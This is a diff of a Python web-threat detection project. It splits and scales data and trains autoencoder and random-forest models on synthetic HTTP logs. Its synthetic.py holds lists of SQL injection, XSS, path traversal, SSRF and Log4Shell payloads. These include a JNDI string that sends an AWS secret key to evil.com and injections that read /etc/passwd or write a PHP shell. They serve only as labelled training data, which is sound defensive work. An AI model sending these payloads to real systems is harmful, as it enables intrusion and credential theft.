def inverse_transform(self, X: np.ndarray) -> np.ndarray:
|
||||||
"""
|
"""
|
||||||
|
|
@ -54,7 +54,7 @@ class FeatureScaler:
|
||||||
"""
|
"""
|
||||||
if not self._fitted or self._scaler is None:
|
if not self._fitted or self._scaler is None:
|
||||||
raise RuntimeError("Scaler has not been fitted")
|
raise RuntimeError("Scaler has not been fitted")
|
||||||
return self._scaler.inverse_transform(X).astype(np.float32)
|
return self._scaler.inverse_transform(X).astype(np.float32) # type: ignore[no-any-return]
|
||||||
|
|
||||||
def fit_transform(self, X: np.ndarray) -> np.ndarray:
|
def fit_transform(self, X: np.ndarray) -> np.ndarray:
|
||||||
"""
|
"""
|
||||||
|
|
@ -74,14 +74,14 @@ class FeatureScaler:
|
||||||
"scale": self._scaler.scale_.tolist(),
|
"scale": self._scaler.scale_.tolist(),
|
||||||
"n_features": int(self._scaler.n_features_in_),
|
"n_features": int(self._scaler.n_features_in_),
|
||||||
}
|
}
|
||||||
Path(path).write_text(json.dumps(data, indent=2))
|
Path(path).write_text(json.dumps(data, indent=2), encoding="utf-8")
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def load_json(cls, path: Path | str) -> FeatureScaler:
|
def load_json(cls, path: Path | str) -> FeatureScaler:
|
||||||
"""
|
"""
|
||||||
Reconstruct a fitted scaler from a JSON file.
|
Reconstruct a fitted scaler from a JSON file.
|
||||||
"""
|
"""
|
||||||
data = json.loads(Path(path).read_text())
|
data = json.loads(Path(path).read_text(encoding="utf-8"))
|
||||||
scaler = cls()
|
scaler = cls()
|
||||||
scaler._scaler = RobustScaler()
|
scaler._scaler = RobustScaler()
|
||||||
scaler._scaler.center_ = np.array(data["center"], dtype=np.float64)
|
scaler._scaler.center_ = np.array(data["center"], dtype=np.float64)
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,84 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
splitting.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
from imblearn.over_sampling import SMOTE
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class TrainingSplit:
|
||||||
|
"""
|
||||||
|
Result of stratified splitting with SMOTE oversampling
|
||||||
|
"""
|
||||||
|
|
||||||
|
X_train: np.ndarray
|
||||||
|
y_train: np.ndarray
|
||||||
|
X_val: np.ndarray
|
||||||
|
y_val: np.ndarray
|
||||||
|
X_test: np.ndarray
|
||||||
|
y_test: np.ndarray
|
||||||
|
X_normal_train: np.ndarray
|
||||||
|
|
||||||
|
|
||||||
|
def prepare_training_data(
|
||||||
|
X: np.ndarray,
|
||||||
|
y: np.ndarray,
|
||||||
|
train_ratio: float = 0.70,
|
||||||
|
val_ratio: float = 0.15,
|
||||||
|
smote_strategy: float = 0.3,
|
||||||
|
smote_k: int = 5,
|
||||||
|
random_state: int = 42,
|
||||||
|
) -> TrainingSplit:
|
||||||
|
"""
|
||||||
|
Split data into train/val/test with SMOTE on training set only
|
||||||
|
"""
|
||||||
|
n_classes = len(np.unique(y))
|
||||||
|
if n_classes < 2:
|
||||||
|
raise ValueError("y must contain at least 2 classes")
|
||||||
|
|
||||||
|
test_size = 1.0 - train_ratio
|
||||||
|
X_train, X_rem, y_train, y_rem = train_test_split(
|
||||||
|
X,
|
||||||
|
y,
|
||||||
|
test_size=test_size,
|
||||||
|
stratify=y,
|
||||||
|
random_state=random_state,
|
||||||
|
)
|
||||||
|
|
||||||
|
X_val, X_test, y_val, y_test = train_test_split(
|
||||||
|
X_rem,
|
||||||
|
y_rem,
|
||||||
|
test_size=0.5,
|
||||||
|
stratify=y_rem,
|
||||||
|
random_state=random_state,
|
||||||
|
)
|
||||||
|
|
||||||
|
X_normal_train = X_train[y_train == 0]
|
||||||
|
|
||||||
|
class_counts = np.bincount(y_train)
|
||||||
|
minority_count = class_counts.min()
|
||||||
|
majority_count = class_counts.max()
|
||||||
|
current_ratio = minority_count / majority_count
|
||||||
|
|
||||||
|
if (minority_count >= smote_k + 1 and current_ratio < smote_strategy):
|
||||||
|
sampler = SMOTE(
|
||||||
|
sampling_strategy=smote_strategy,
|
||||||
|
k_neighbors=smote_k,
|
||||||
|
random_state=random_state,
|
||||||
|
)
|
||||||
|
X_train, y_train = sampler.fit_resample(X_train, y_train)
|
||||||
|
|
||||||
|
return TrainingSplit(
|
||||||
|
X_train=X_train,
|
||||||
|
y_train=y_train,
|
||||||
|
X_val=X_val,
|
||||||
|
y_val=y_val,
|
||||||
|
X_test=X_test,
|
||||||
|
y_test=y_test,
|
||||||
|
X_normal_train=X_normal_train,
|
||||||
|
)
|
||||||
|
|
@ -0,0 +1,436 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
synthetic.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import random
|
||||||
|
from datetime import UTC, datetime, timedelta
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
|
||||||
|
from app.core.features.encoder import encode_for_inference
|
||||||
|
from app.core.features.extractor import extract_request_features
|
||||||
|
from app.core.features.mappings import WINDOWED_FEATURE_NAMES
|
||||||
|
from app.core.ingestion.parsers import ParsedLogEntry
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
SQLI_PAYLOADS: list[str] = [
|
||||||
|
"' OR 1=1--",
|
||||||
|
"' OR '1'='1",
|
||||||
|
"' UNION SELECT NULL,NULL--",
|
||||||
|
"' UNION SELECT username,password FROM users--",
|
||||||
|
"1; DROP TABLE users--",
|
||||||
|
"admin'--",
|
||||||
|
"' AND 1=1--",
|
||||||
|
"' AND SLEEP(5)--",
|
||||||
|
"' OR BENCHMARK(1000000,SHA1('test'))--",
|
||||||
|
"1' ORDER BY 1--",
|
||||||
|
"1' ORDER BY 10--",
|
||||||
|
"' UNION ALL SELECT @@version--",
|
||||||
|
"-1' UNION SELECT 1,CONCAT(user(),database())--",
|
||||||
|
"' OR 'x'='x",
|
||||||
|
"1; WAITFOR DELAY '0:0:5'--",
|
||||||
|
"' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--",
|
||||||
|
"' AND UPDATEXML(1,CONCAT(0x7e,version()),1)--",
|
||||||
|
"admin' AND '1'='1",
|
||||||
|
"' UNION SELECT LOAD_FILE('/etc/passwd')--",
|
||||||
|
"' INTO OUTFILE '/tmp/shell.php'--",
|
||||||
|
"1' AND 1=1 UNION SELECT 1,2,3--",
|
||||||
|
"' OR EXISTS(SELECT * FROM users)--",
|
||||||
|
]
|
||||||
|
|
||||||
|
XSS_PAYLOADS: list[str] = [
|
||||||
|
"<script>alert(1)</script>",
|
||||||
|
"<script>document.cookie</script>",
|
||||||
|
"<img src=x onerror=alert(1)>",
|
||||||
|
"<svg onload=alert(1)>",
|
||||||
|
"<body onload=alert(1)>",
|
||||||
|
"javascript:alert(1)",
|
||||||
|
"<iframe src=javascript:alert(1)>",
|
||||||
|
"<input onfocus=alert(1) autofocus>",
|
||||||
|
"<marquee onstart=alert(1)>",
|
||||||
|
"<details open ontoggle=alert(1)>",
|
||||||
|
"'-alert(1)-'",
|
||||||
|
"\"><script>alert(String.fromCharCode(88,83,83))</script>",
|
||||||
|
"<img src=x onerror=prompt(1)>",
|
||||||
|
"<svg/onload=confirm(1)>",
|
||||||
|
"\" onfocus=alert(1) autofocus=\"",
|
||||||
|
"<object data=javascript:alert(1)>",
|
||||||
|
"<embed src=javascript:alert(1)>",
|
||||||
|
"<link rel=import href=data:text/html,<script>alert(1)</script>>",
|
||||||
|
"{{constructor.constructor('alert(1)')()}}",
|
||||||
|
"<style>@import'javascript:alert(1)'</style>",
|
||||||
|
"expression(alert(1))",
|
||||||
|
]
|
||||||
|
|
||||||
|
TRAVERSAL_PAYLOADS: list[str] = [
|
||||||
|
"../../etc/passwd",
|
||||||
|
"..\\..\\windows\\system32\\config\\sam",
|
||||||
|
"../../../etc/shadow",
|
||||||
|
"....//....//etc/passwd",
|
||||||
|
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",
|
||||||
|
"%252e%252e%252f%252e%252e%252fetc%252fpasswd",
|
||||||
|
"..%c0%afetc%c0%afpasswd",
|
||||||
|
"../../proc/self/environ",
|
||||||
|
"../../var/log/auth.log",
|
||||||
|
"../../.env",
|
||||||
|
"../../.git/config",
|
||||||
|
"../../../boot.ini",
|
||||||
|
"../../web.config",
|
||||||
|
"../../wp-config.php",
|
||||||
|
"%2e%2e/%2e%2e/%2e%2e/etc/passwd",
|
||||||
|
]
|
||||||
|
|
||||||
|
LOG4SHELL_PAYLOADS: list[str] = [
|
||||||
|
"${jndi:ldap://evil.com/a}",
|
||||||
|
"${jndi:rmi://evil.com/a}",
|
||||||
|
"${jndi:dns://evil.com/a}",
|
||||||
|
"${jndi:ldap://127.0.0.1/a}",
|
||||||
|
"${${lower:j}ndi:ldap://evil.com/a}",
|
||||||
|
"${${upper:j}ndi:ldap://evil.com/a}",
|
||||||
|
"${${::-j}${::-n}${::-d}${::-i}:ldap://evil.com/a}",
|
||||||
|
"${jndi:ldap://evil.com/${env:AWS_SECRET_KEY}}",
|
||||||
|
"${jndi:${lower:l}${lower:d}ap://evil.com/a}",
|
||||||
|
"${${env:BARFOO:-j}ndi${env:BARFOO:-:}ldap://evil.com/a}",
|
||||||
|
]
|
||||||
|
|
||||||
|
SSRF_TARGETS: list[str] = [
|
||||||
|
"http://169.254.169.254/latest/meta-data/",
|
||||||
|
"http://metadata.google.internal/computeMetadata/v1/",
|
||||||
|
"http://169.254.170.2/v2/credentials",
|
||||||
|
"http://100.100.100.200/latest/meta-data/",
|
||||||
|
"http://127.0.0.1:8080/admin",
|
||||||
|
"http://localhost:9200/_cat/indices",
|
||||||
|
"http://10.0.0.1:6379/",
|
||||||
|
"http://192.168.1.1/admin",
|
||||||
|
"file:///etc/passwd",
|
||||||
|
"gopher://127.0.0.1:25/",
|
||||||
|
"dict://127.0.0.1:11211/stats",
|
||||||
|
]
|
||||||
|
|
||||||
|
SCANNER_UAS: list[str] = [
|
||||||
|
"Nikto/2.1.6",
|
||||||
|
"sqlmap/1.7",
|
||||||
|
"Nessus/10.0",
|
||||||
|
"DirBuster-1.0-RC1",
|
||||||
|
"Acunetix-Product",
|
||||||
|
"w3af/1.0",
|
||||||
|
"Nmap Scripting Engine",
|
||||||
|
"Wfuzz/3.1.0",
|
||||||
|
"gobuster/3.6",
|
||||||
|
"masscan/1.3.2",
|
||||||
|
"ZAP/2.14.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
NORMAL_PATHS: list[str] = [
|
||||||
|
"/",
|
||||||
|
"/index.html",
|
||||||
|
"/api/v1/users",
|
||||||
|
"/api/v1/users/123",
|
||||||
|
"/api/v1/products",
|
||||||
|
"/api/v1/products/456",
|
||||||
|
"/api/v1/orders",
|
||||||
|
"/api/v1/search",
|
||||||
|
"/api/v2/health",
|
||||||
|
"/api/v2/metrics",
|
||||||
|
"/dashboard",
|
||||||
|
"/dashboard/settings",
|
||||||
|
"/login",
|
||||||
|
"/logout",
|
||||||
|
"/register",
|
||||||
|
"/profile",
|
||||||
|
"/profile/edit",
|
||||||
|
"/about",
|
||||||
|
"/contact",
|
||||||
|
"/faq",
|
||||||
|
"/static/css/main.css",
|
||||||
|
"/static/js/app.js",
|
||||||
|
"/static/images/logo.png",
|
||||||
|
"/favicon.ico",
|
||||||
|
"/robots.txt",
|
||||||
|
"/sitemap.xml",
|
||||||
|
"/blog",
|
||||||
|
"/blog/2026/01/post-title",
|
||||||
|
"/docs",
|
||||||
|
"/docs/api-reference",
|
||||||
|
"/status",
|
||||||
|
"/feed.xml",
|
||||||
|
]
|
||||||
|
|
||||||
|
NORMAL_UAS: list[str] = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0",
|
||||||
|
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
|
||||||
|
"Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36",
|
||||||
|
"Mozilla/5.0 (iPad; CPU OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
|
||||||
|
]
|
||||||
|
|
||||||
|
ATTACK_PATHS: list[str] = [
|
||||||
|
"/login",
|
||||||
|
"/admin",
|
||||||
|
"/admin/config",
|
||||||
|
"/api/v1/users",
|
||||||
|
"/api/v1/auth",
|
||||||
|
"/api/v1/search",
|
||||||
|
"/wp-admin",
|
||||||
|
"/wp-login.php",
|
||||||
|
"/phpmyadmin",
|
||||||
|
"/manager/html",
|
||||||
|
"/actuator/env",
|
||||||
|
"/api/v1/upload",
|
||||||
|
"/api/v1/export",
|
||||||
|
"/console",
|
||||||
|
"/debug",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def _random_ip() -> str:
|
||||||
|
"""
|
||||||
|
Generate a random public-looking IP address
|
||||||
|
"""
|
||||||
|
return f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}"
|
||||||
|
|
||||||
|
|
||||||
|
def _random_timestamp() -> datetime:
|
||||||
|
"""
|
||||||
|
Generate a random timestamp within the last 24 hours
|
||||||
|
"""
|
||||||
|
offset = random.randint(0, 86400)
|
||||||
|
return datetime.now(UTC) - timedelta(seconds=offset)
|
||||||
|
|
||||||
|
|
||||||
|
def _make_entry(
|
||||||
|
method: str,
|
||||||
|
path: str,
|
||||||
|
query_string: str,
|
||||||
|
status_code: int,
|
||||||
|
response_size: int,
|
||||||
|
user_agent: str,
|
||||||
|
ip: str | None = None,
|
||||||
|
) -> ParsedLogEntry:
|
||||||
|
"""
|
||||||
|
Build a ParsedLogEntry with randomized metadata
|
||||||
|
"""
|
||||||
|
return ParsedLogEntry(
|
||||||
|
ip=ip or _random_ip(),
|
||||||
|
timestamp=_random_timestamp(),
|
||||||
|
method=method,
|
||||||
|
path=path,
|
||||||
|
query_string=query_string,
|
||||||
|
status_code=status_code,
|
||||||
|
response_size=response_size,
|
||||||
|
referer="",
|
||||||
|
user_agent=user_agent,
|
||||||
|
raw_line="",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def generate_sqli_requests(n: int, ) -> list[ParsedLogEntry]:
|
||||||
|
"""
|
||||||
|
Generate n requests with SQL injection payloads
|
||||||
|
"""
|
||||||
|
entries: list[ParsedLogEntry] = []
|
||||||
|
for _ in range(n):
|
||||||
|
payload = random.choice(SQLI_PAYLOADS)
|
||||||
|
path = random.choice(ATTACK_PATHS)
|
||||||
|
if random.random() < 0.5:
|
||||||
|
entries.append(
|
||||||
|
_make_entry(
|
||||||
|
method="GET",
|
||||||
|
path=path,
|
||||||
|
query_string=f"id={payload}",
|
||||||
|
status_code=random.choice([200, 500]),
|
||||||
|
response_size=random.randint(0, 5000),
|
||||||
|
user_agent=random.choice(NORMAL_UAS),
|
||||||
|
))
|
||||||
|
else:
|
||||||
|
entries.append(
|
||||||
|
_make_entry(
|
||||||
|
method="POST",
|
||||||
|
path=path,
|
||||||
|
query_string=f"username={payload}&password=x",
|
||||||
|
status_code=random.choice([200, 403]),
|
||||||
|
response_size=random.randint(0, 2000),
|
||||||
|
user_agent=random.choice(NORMAL_UAS),
|
||||||
|
))
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def generate_xss_requests(n: int, ) -> list[ParsedLogEntry]:
|
||||||
|
"""
|
||||||
|
Generate n requests with XSS payloads
|
||||||
|
"""
|
||||||
|
entries: list[ParsedLogEntry] = []
|
||||||
|
for _ in range(n):
|
||||||
|
payload = random.choice(XSS_PAYLOADS)
|
||||||
|
path = random.choice(ATTACK_PATHS)
|
||||||
|
entries.append(
|
||||||
|
_make_entry(
|
||||||
|
method="GET",
|
||||||
|
path=path,
|
||||||
|
query_string=f"q={payload}",
|
||||||
|
status_code=200,
|
||||||
|
response_size=random.randint(500, 5000),
|
||||||
|
user_agent=random.choice(NORMAL_UAS),
|
||||||
|
))
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def generate_traversal_requests(n: int, ) -> list[ParsedLogEntry]:
|
||||||
|
"""
|
||||||
|
Generate n requests with path traversal payloads
|
||||||
|
"""
|
||||||
|
entries: list[ParsedLogEntry] = []
|
||||||
|
for _ in range(n):
|
||||||
|
payload = random.choice(TRAVERSAL_PAYLOADS)
|
||||||
|
entries.append(
|
||||||
|
_make_entry(
|
||||||
|
method="GET",
|
||||||
|
path=f"/{payload}",
|
||||||
|
query_string="",
|
||||||
|
status_code=random.choice([200, 403, 404]),
|
||||||
|
response_size=random.randint(0, 1000),
|
||||||
|
user_agent=random.choice(NORMAL_UAS),
|
||||||
|
))
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def generate_log4shell_requests(n: int, ) -> list[ParsedLogEntry]:
|
||||||
|
"""
|
||||||
|
Generate n requests with Log4Shell JNDI payloads
|
||||||
|
"""
|
||||||
|
entries: list[ParsedLogEntry] = []
|
||||||
|
for _ in range(n):
|
||||||
|
payload = random.choice(LOG4SHELL_PAYLOADS)
|
||||||
|
path = random.choice(ATTACK_PATHS)
|
||||||
|
entries.append(
|
||||||
|
_make_entry(
|
||||||
|
method="GET",
|
||||||
|
path=path,
|
||||||
|
query_string=f"cmd={payload}",
|
||||||
|
status_code=200,
|
||||||
|
response_size=random.randint(0, 2000),
|
||||||
|
user_agent=payload,
|
||||||
|
))
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def generate_ssrf_requests(n: int, ) -> list[ParsedLogEntry]:
|
||||||
|
"""
|
||||||
|
Generate n requests with SSRF target URLs
|
||||||
|
"""
|
||||||
|
entries: list[ParsedLogEntry] = []
|
||||||
|
for _ in range(n):
|
||||||
|
target = random.choice(SSRF_TARGETS)
|
||||||
|
path = random.choice(ATTACK_PATHS)
|
||||||
|
entries.append(
|
||||||
|
_make_entry(
|
||||||
|
method="GET",
|
||||||
|
path=path,
|
||||||
|
query_string=f"url={target}",
|
||||||
|
status_code=random.choice([200, 302]),
|
||||||
|
response_size=random.randint(0, 3000),
|
||||||
|
user_agent=random.choice(NORMAL_UAS),
|
||||||
|
))
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def generate_scanner_requests(n: int, ) -> list[ParsedLogEntry]:
|
||||||
|
"""
|
||||||
|
Generate n requests mimicking vulnerability scanners
|
||||||
|
"""
|
||||||
|
entries: list[ParsedLogEntry] = []
|
||||||
|
for _ in range(n):
|
||||||
|
path = random.choice(ATTACK_PATHS)
|
||||||
|
entries.append(
|
||||||
|
_make_entry(
|
||||||
|
method=random.choice(["GET", "HEAD", "OPTIONS"]),
|
||||||
|
path=path,
|
||||||
|
query_string="",
|
||||||
|
status_code=random.choice([200, 301, 403, 404]),
|
||||||
|
response_size=random.randint(0, 500),
|
||||||
|
user_agent=random.choice(SCANNER_UAS),
|
||||||
|
))
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def generate_normal_requests(n: int, ) -> list[ParsedLogEntry]:
|
||||||
|
"""
|
||||||
|
Generate n realistic benign HTTP requests
|
||||||
|
"""
|
||||||
|
entries: list[ParsedLogEntry] = []
|
||||||
|
for _ in range(n):
|
||||||
|
path = random.choice(NORMAL_PATHS)
|
||||||
|
has_query = random.random() < 0.3
|
||||||
|
query = (f"page={random.randint(1, 20)}" if has_query else "")
|
||||||
|
entries.append(
|
||||||
|
_make_entry(
|
||||||
|
method=random.choice(["GET", "GET", "GET", "POST"]),
|
||||||
|
path=path,
|
||||||
|
query_string=query,
|
||||||
|
status_code=random.choice([200, 200, 200, 301, 304]),
|
||||||
|
response_size=random.randint(200, 50000),
|
||||||
|
user_agent=random.choice(NORMAL_UAS),
|
||||||
|
))
|
||||||
|
return entries
|
||||||
|
|
||||||
|
|
||||||
|
def _entries_to_vectors(entries: list[ParsedLogEntry], ) -> list[list[float]]:
|
||||||
|
"""
|
||||||
|
Convert ParsedLogEntry list to 35-dim feature vectors
|
||||||
|
"""
|
||||||
|
vectors: list[list[float]] = []
|
||||||
|
for entry in entries:
|
||||||
|
features = extract_request_features(entry)
|
||||||
|
for name in WINDOWED_FEATURE_NAMES:
|
||||||
|
features[name] = 0.0
|
||||||
|
vectors.append(encode_for_inference(features))
|
||||||
|
return vectors
|
||||||
|
|
||||||
|
|
||||||
|
def generate_mixed_dataset(
|
||||||
|
n_normal: int = 1000,
|
||||||
|
n_attack: int = 500,
|
||||||
|
) -> tuple[np.ndarray, np.ndarray]:
|
||||||
|
"""
|
||||||
|
Generate a mixed normal and attack dataset with feature vectors
|
||||||
|
"""
|
||||||
|
normal = generate_normal_requests(n_normal)
|
||||||
|
normal_vectors = _entries_to_vectors(normal)
|
||||||
|
|
||||||
|
per_type = n_attack // 6
|
||||||
|
remainder = n_attack - (per_type * 6)
|
||||||
|
|
||||||
|
attacks: list[ParsedLogEntry] = []
|
||||||
|
attacks.extend(generate_sqli_requests(per_type + remainder))
|
||||||
|
attacks.extend(generate_xss_requests(per_type))
|
||||||
|
attacks.extend(generate_traversal_requests(per_type))
|
||||||
|
attacks.extend(generate_log4shell_requests(per_type))
|
||||||
|
attacks.extend(generate_ssrf_requests(per_type))
|
||||||
|
attacks.extend(generate_scanner_requests(per_type))
|
||||||
|
attack_vectors = _entries_to_vectors(attacks)
|
||||||
|
|
||||||
|
X = np.array(
|
||||||
|
normal_vectors + attack_vectors,
|
||||||
|
dtype=np.float32,
|
||||||
|
)
|
||||||
|
y = np.array(
|
||||||
|
[0] * len(normal_vectors) + [1] * len(attack_vectors),
|
||||||
|
dtype=np.int32,
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"Generated dataset: X=%s (normal=%d, attack=%d)",
|
||||||
|
X.shape,
|
||||||
|
n_normal,
|
||||||
|
len(attacks),
|
||||||
|
)
|
||||||
|
|
||||||
|
return X, y
|
||||||
|
|
@ -0,0 +1,115 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
train_autoencoder.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
import torch
|
||||||
|
from torch.utils.data import DataLoader, TensorDataset
|
||||||
|
|
||||||
|
from ml.autoencoder import ThreatAutoencoder
|
||||||
|
from ml.scaler import FeatureScaler
|
||||||
|
|
||||||
|
|
||||||
|
def train_autoencoder(
|
||||||
|
X_normal: np.ndarray,
|
||||||
|
epochs: int = 100,
|
||||||
|
batch_size: int = 256,
|
||||||
|
lr: float = 1e-3,
|
||||||
|
percentile: float = 99.5,
|
||||||
|
val_split: float = 0.15,
|
||||||
|
patience: int = 10,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Train the autoencoder on normal-only traffic and calibrate the
|
||||||
|
anomaly detection threshold.
|
||||||
|
"""
|
||||||
|
input_dim = X_normal.shape[1]
|
||||||
|
|
||||||
|
split_idx = int(len(X_normal) * (1 - val_split))
|
||||||
|
X_train_raw = X_normal[:split_idx]
|
||||||
|
X_val_raw = X_normal[split_idx:]
|
||||||
|
|
||||||
|
scaler = FeatureScaler()
|
||||||
|
X_train_scaled = scaler.fit_transform(X_train_raw)
|
||||||
|
X_val_scaled = scaler.transform(X_val_raw)
|
||||||
|
|
||||||
|
train_tensor = torch.from_numpy(X_train_scaled)
|
||||||
|
val_tensor = torch.from_numpy(X_val_scaled)
|
||||||
|
|
||||||
|
train_loader = DataLoader(
|
||||||
|
TensorDataset(train_tensor),
|
||||||
|
batch_size=batch_size,
|
||||||
|
shuffle=True,
|
||||||
|
drop_last=len(train_tensor) > batch_size,
|
||||||
|
)
|
||||||
|
|
||||||
|
model = ThreatAutoencoder(input_dim=input_dim)
|
||||||
|
optimizer = torch.optim.AdamW(model.parameters(),
|
||||||
|
lr=lr,
|
||||||
|
weight_decay=1e-5,
|
||||||
|
betas=(0.9, 0.999))
|
||||||
|
scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer,
|
||||||
|
mode="min",
|
||||||
|
factor=0.5,
|
||||||
|
patience=5,
|
||||||
|
min_lr=1e-6)
|
||||||
|
|
||||||
|
history: dict[str, list[float]] = {"train_loss": [], "val_loss": []}
|
||||||
|
best_val_loss = float("inf")
|
||||||
|
best_state = None
|
||||||
|
epochs_without_improvement = 0
|
||||||
|
|
||||||
|
for _epoch in range(epochs):
|
||||||
|
model.train()
|
||||||
|
epoch_loss = 0.0
|
||||||
|
n_batches = 0
|
||||||
|
|
||||||
|
for (batch, ) in train_loader:
|
||||||
|
reconstructed = model(batch)
|
||||||
|
loss = torch.nn.functional.mse_loss(reconstructed, batch)
|
||||||
|
optimizer.zero_grad()
|
||||||
|
loss.backward() # type: ignore[no-untyped-call]
|
||||||
|
torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)
|
||||||
|
optimizer.step()
|
||||||
|
epoch_loss += loss.item()
|
||||||
|
n_batches += 1
|
||||||
|
|
||||||
|
avg_train_loss = epoch_loss / max(n_batches, 1)
|
||||||
|
history["train_loss"].append(avg_train_loss)
|
||||||
|
|
||||||
|
model.eval()
|
||||||
|
with torch.no_grad():
|
||||||
|
val_reconstructed = model(val_tensor)
|
||||||
|
val_loss = torch.nn.functional.mse_loss(val_reconstructed,
|
||||||
|
val_tensor).item()
|
||||||
|
history["val_loss"].append(val_loss)
|
||||||
|
|
||||||
|
scheduler.step(val_loss)
|
||||||
|
|
||||||
|
if val_loss < best_val_loss:
|
||||||
|
best_val_loss = val_loss
|
||||||
|
best_state = {k: v.clone() for k, v in model.state_dict().items()}
|
||||||
|
epochs_without_improvement = 0
|
||||||
|
else:
|
||||||
|
epochs_without_improvement += 1
|
||||||
|
|
||||||
|
if epochs_without_improvement >= patience:
|
||||||
|
break
|
||||||
|
|
||||||
|
if best_state is not None:
|
||||||
|
model.load_state_dict(best_state)
|
||||||
|
|
||||||
|
model.eval()
|
||||||
|
with torch.no_grad():
|
||||||
|
val_errors = model.compute_reconstruction_error(val_tensor)
|
||||||
|
threshold = float(np.percentile(val_errors.numpy(), percentile))
|
||||||
|
|
||||||
|
return {
|
||||||
|
"model": model,
|
||||||
|
"scaler": scaler,
|
||||||
|
"threshold": threshold,
|
||||||
|
"history": history,
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,79 @@
|
||||||
|
"""
|
||||||
|
©AngelaMos | 2026
|
||||||
|
train_classifiers.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
from typing import Any
|
||||||
|
|
||||||
|
import numpy as np
|
||||||
|
from sklearn.calibration import CalibratedClassifierCV
|
||||||
|
from sklearn.ensemble import IsolationForest, RandomForestClassifier
|
||||||
|
from sklearn.metrics import (
|
||||||
|
accuracy_score,
|
||||||
|
average_precision_score,
|
||||||
|
f1_score,
|
||||||
|
precision_score,
|
||||||
|
recall_score,
|
||||||
|
)
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
|
||||||
|
|
||||||
|
def train_random_forest(
|
||||||
|
X: np.ndarray,
|
||||||
|
y: np.ndarray,
|
||||||
|
n_estimators: int = 200,
|
||||||
|
max_depth: int = 20,
|
||||||
|
calibration_split: float = 0.2,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
"""
|
||||||
|
Train a random forest with isotonic probability calibration
|
||||||
|
"""
|
||||||
|
X_train, X_eval, y_train, y_eval = train_test_split(
|
||||||
|
X, y, test_size=calibration_split, stratify=y, random_state=42)
|
||||||
|
|
||||||
|
base_rf = RandomForestClassifier(
|
||||||
|
n_estimators=n_estimators,
|
||||||
|
max_depth=max_depth,
|
||||||
|
class_weight="balanced",
|
||||||
|
random_state=42,
|
||||||
|
n_jobs=-1,
|
||||||
|
)
|
||||||
|
|
||||||
|
calibrated = CalibratedClassifierCV(base_rf, method="isotonic", cv=3)
|
||||||
|
calibrated.fit(X_train, y_train)
|
||||||
|
|
||||||
|
y_pred = calibrated.predict(X_eval)
|
||||||
|
y_proba = calibrated.predict_proba(X_eval)[:, 1]
|
||||||
|
|
||||||
|
metrics = {
|
||||||
|
"accuracy": float(accuracy_score(y_eval, y_pred)),
|
||||||
|
"precision": float(precision_score(y_eval, y_pred, zero_division=0)),
|
||||||
|
"recall": float(recall_score(y_eval, y_pred, zero_division=0)),
|
||||||
|
"f1": float(f1_score(y_eval, y_pred, zero_division=0)),
|
||||||
|
"pr_auc": float(average_precision_score(y_eval, y_proba)),
|
||||||
|
}
|
